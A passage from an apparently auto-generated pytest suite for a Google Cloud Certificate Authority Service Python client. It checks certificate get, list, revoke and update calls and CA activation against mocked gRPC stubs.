# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_certificate_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_certificate(
service.GetCertificateRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_certificate_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_certificate), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_certificate(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_certificate_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_certificate(
service.GetCertificateRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [service.ListCertificatesRequest, dict,])
def test_list_certificates(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificatesResponse(
next_page_token="next_page_token_value", unreachable=["unreachable_value"],
)
response = client.list_certificates(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificatesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCertificatesPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
def test_list_certificates_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates), "__call__"
) as call:
client.list_certificates()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificatesRequest()
@pytest.mark.asyncio
async def test_list_certificates_async(
transport: str = "grpc_asyncio", request_type=service.ListCertificatesRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificatesResponse(
next_page_token="next_page_token_value",
unreachable=["unreachable_value"],
)
)
response = await client.list_certificates(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificatesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCertificatesAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
@pytest.mark.asyncio
async def test_list_certificates_async_from_dict():
await test_list_certificates_async(request_type=dict)
def test_list_certificates_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListCertificatesRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates), "__call__"
) as call:
call.return_value = service.ListCertificatesResponse()
client.list_certificates(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_certificates_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListCertificatesRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificatesResponse()
)
await client.list_certificates(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_certificates_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificatesResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_certificates(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_certificates_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_certificates(
service.ListCertificatesRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_certificates_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificatesResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificatesResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_certificates(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_certificates_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_certificates(
service.ListCertificatesRequest(), parent="parent_value",
)
def test_list_certificates_pager(transport_name: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificatesResponse(
certificates=[
resources.Certificate(),
resources.Certificate(),
resources.Certificate(),
],
next_page_token="abc",
),
service.ListCertificatesResponse(certificates=[], next_page_token="def",),
service.ListCertificatesResponse(
certificates=[resources.Certificate(),], next_page_token="ghi",
),
service.ListCertificatesResponse(
certificates=[resources.Certificate(), resources.Certificate(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_certificates(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.Certificate) for i in results)
def test_list_certificates_pages(transport_name: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificatesResponse(
certificates=[
resources.Certificate(),
resources.Certificate(),
resources.Certificate(),
],
next_page_token="abc",
),
service.ListCertificatesResponse(certificates=[], next_page_token="def",),
service.ListCertificatesResponse(
certificates=[resources.Certificate(),], next_page_token="ghi",
),
service.ListCertificatesResponse(
certificates=[resources.Certificate(), resources.Certificate(),],
),
RuntimeError,
)
pages = list(client.list_certificates(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_certificates_async_pager():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificatesResponse(
certificates=[
resources.Certificate(),
resources.Certificate(),
resources.Certificate(),
],
next_page_token="abc",
),
service.ListCertificatesResponse(certificates=[], next_page_token="def",),
service.ListCertificatesResponse(
certificates=[resources.Certificate(),], next_page_token="ghi",
),
service.ListCertificatesResponse(
certificates=[resources.Certificate(), resources.Certificate(),],
),
RuntimeError,
)
async_pager = await client.list_certificates(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.Certificate) for i in responses)
@pytest.mark.asyncio
async def test_list_certificates_async_pages():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificates),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificatesResponse(
certificates=[
resources.Certificate(),
resources.Certificate(),
resources.Certificate(),
],
next_page_token="abc",
),
service.ListCertificatesResponse(certificates=[], next_page_token="def",),
service.ListCertificatesResponse(
certificates=[resources.Certificate(),], next_page_token="ghi",
),
service.ListCertificatesResponse(
certificates=[resources.Certificate(), resources.Certificate(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_certificates(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize("request_type", [service.RevokeCertificateRequest, dict,])
def test_revoke_certificate(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.revoke_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate(
name="name_value",
issuer_certificate_authority="issuer_certificate_authority_value",
certificate_template="certificate_template_value",
subject_mode=resources.SubjectRequestMode.DEFAULT,
pem_certificate="pem_certificate_value",
pem_certificate_chain=["pem_certificate_chain_value"],
pem_csr="pem_csr_value",
)
response = client.revoke_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.RevokeCertificateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Certificate)
assert response.name == "name_value"
assert response.issuer_certificate_authority == "issuer_certificate_authority_value"
assert response.certificate_template == "certificate_template_value"
assert response.subject_mode == resources.SubjectRequestMode.DEFAULT
assert response.pem_certificate == "pem_certificate_value"
assert response.pem_certificate_chain == ["pem_certificate_chain_value"]
def test_revoke_certificate_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.revoke_certificate), "__call__"
) as call:
client.revoke_certificate()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.RevokeCertificateRequest()
@pytest.mark.asyncio
async def test_revoke_certificate_async(
transport: str = "grpc_asyncio", request_type=service.RevokeCertificateRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.revoke_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate(
name="name_value",
issuer_certificate_authority="issuer_certificate_authority_value",
certificate_template="certificate_template_value",
subject_mode=resources.SubjectRequestMode.DEFAULT,
pem_certificate="pem_certificate_value",
pem_certificate_chain=["pem_certificate_chain_value"],
)
)
response = await client.revoke_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.RevokeCertificateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Certificate)
assert response.name == "name_value"
assert response.issuer_certificate_authority == "issuer_certificate_authority_value"
assert response.certificate_template == "certificate_template_value"
assert response.subject_mode == resources.SubjectRequestMode.DEFAULT
assert response.pem_certificate == "pem_certificate_value"
assert response.pem_certificate_chain == ["pem_certificate_chain_value"]
@pytest.mark.asyncio
async def test_revoke_certificate_async_from_dict():
await test_revoke_certificate_async(request_type=dict)
def test_revoke_certificate_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.RevokeCertificateRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.revoke_certificate), "__call__"
) as call:
call.return_value = resources.Certificate()
client.revoke_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_revoke_certificate_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.RevokeCertificateRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.revoke_certificate), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate()
)
await client.revoke_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_revoke_certificate_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.revoke_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.revoke_certificate(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_revoke_certificate_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.revoke_certificate(
service.RevokeCertificateRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_revoke_certificate_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.revoke_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.revoke_certificate(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_revoke_certificate_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.revoke_certificate(
service.RevokeCertificateRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [service.UpdateCertificateRequest, dict,])
def test_update_certificate(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate(
name="name_value",
issuer_certificate_authority="issuer_certificate_authority_value",
certificate_template="certificate_template_value",
subject_mode=resources.SubjectRequestMode.DEFAULT,
pem_certificate="pem_certificate_value",
pem_certificate_chain=["pem_certificate_chain_value"],
pem_csr="pem_csr_value",
)
response = client.update_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Certificate)
assert response.name == "name_value"
assert response.issuer_certificate_authority == "issuer_certificate_authority_value"
assert response.certificate_template == "certificate_template_value"
assert response.subject_mode == resources.SubjectRequestMode.DEFAULT
assert response.pem_certificate == "pem_certificate_value"
assert response.pem_certificate_chain == ["pem_certificate_chain_value"]
def test_update_certificate_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate), "__call__"
) as call:
client.update_certificate()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateRequest()
@pytest.mark.asyncio
async def test_update_certificate_async(
transport: str = "grpc_asyncio", request_type=service.UpdateCertificateRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate(
name="name_value",
issuer_certificate_authority="issuer_certificate_authority_value",
certificate_template="certificate_template_value",
subject_mode=resources.SubjectRequestMode.DEFAULT,
pem_certificate="pem_certificate_value",
pem_certificate_chain=["pem_certificate_chain_value"],
)
)
response = await client.update_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Certificate)
assert response.name == "name_value"
assert response.issuer_certificate_authority == "issuer_certificate_authority_value"
assert response.certificate_template == "certificate_template_value"
assert response.subject_mode == resources.SubjectRequestMode.DEFAULT
assert response.pem_certificate == "pem_certificate_value"
assert response.pem_certificate_chain == ["pem_certificate_chain_value"]
@pytest.mark.asyncio
async def test_update_certificate_async_from_dict():
await test_update_certificate_async(request_type=dict)
def test_update_certificate_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateCertificateRequest()
request.certificate.name = "certificate.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate), "__call__"
) as call:
call.return_value = resources.Certificate()
client.update_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "certificate.name=certificate.name/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_update_certificate_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateCertificateRequest()
request.certificate.name = "certificate.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate()
)
await client.update_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "certificate.name=certificate.name/value",) in kw[
"metadata"
]
def test_update_certificate_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_certificate(
certificate=resources.Certificate(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].certificate
mock_val = resources.Certificate(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_certificate_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_certificate(
service.UpdateCertificateRequest(),
certificate=resources.Certificate(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_certificate_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_certificate(
certificate=resources.Certificate(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].certificate
mock_val = resources.Certificate(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_certificate_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_certificate(
service.UpdateCertificateRequest(),
certificate=resources.Certificate(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize(
"request_type", [service.ActivateCertificateAuthorityRequest, dict,]
)
def test_activate_certificate_authority(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.activate_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.activate_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ActivateCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_activate_certificate_authority_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.activate_certificate_authority), "__call__"
) as call:
client.activate_certificate_authority()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ActivateCertificateAuthorityRequest()
@pytest.mark.asyncio
async def test_activate_certificate_authority_async(
transport: str = "grpc_asyncio",
request_type=service.ActivateCertificateAuthorityRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.activate_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.activate_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ActivateCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_activate_certificate_authority_async_from_dict():
await test_activate_certificate_authority_async(request_type=dict)
def test_activate_certificate_authority_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ActivateCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.activate_certificate_authority), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.activate_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_activate_certificate_authority_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ActivateCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.activate_certificate_authority), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.activate_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_activate_certificate_authority_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.activate_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.activate_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_activate_certificate_authority_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.activate_certificate_authority(
service.ActivateCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_activate_certificate_authority_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.activate_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.activate_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
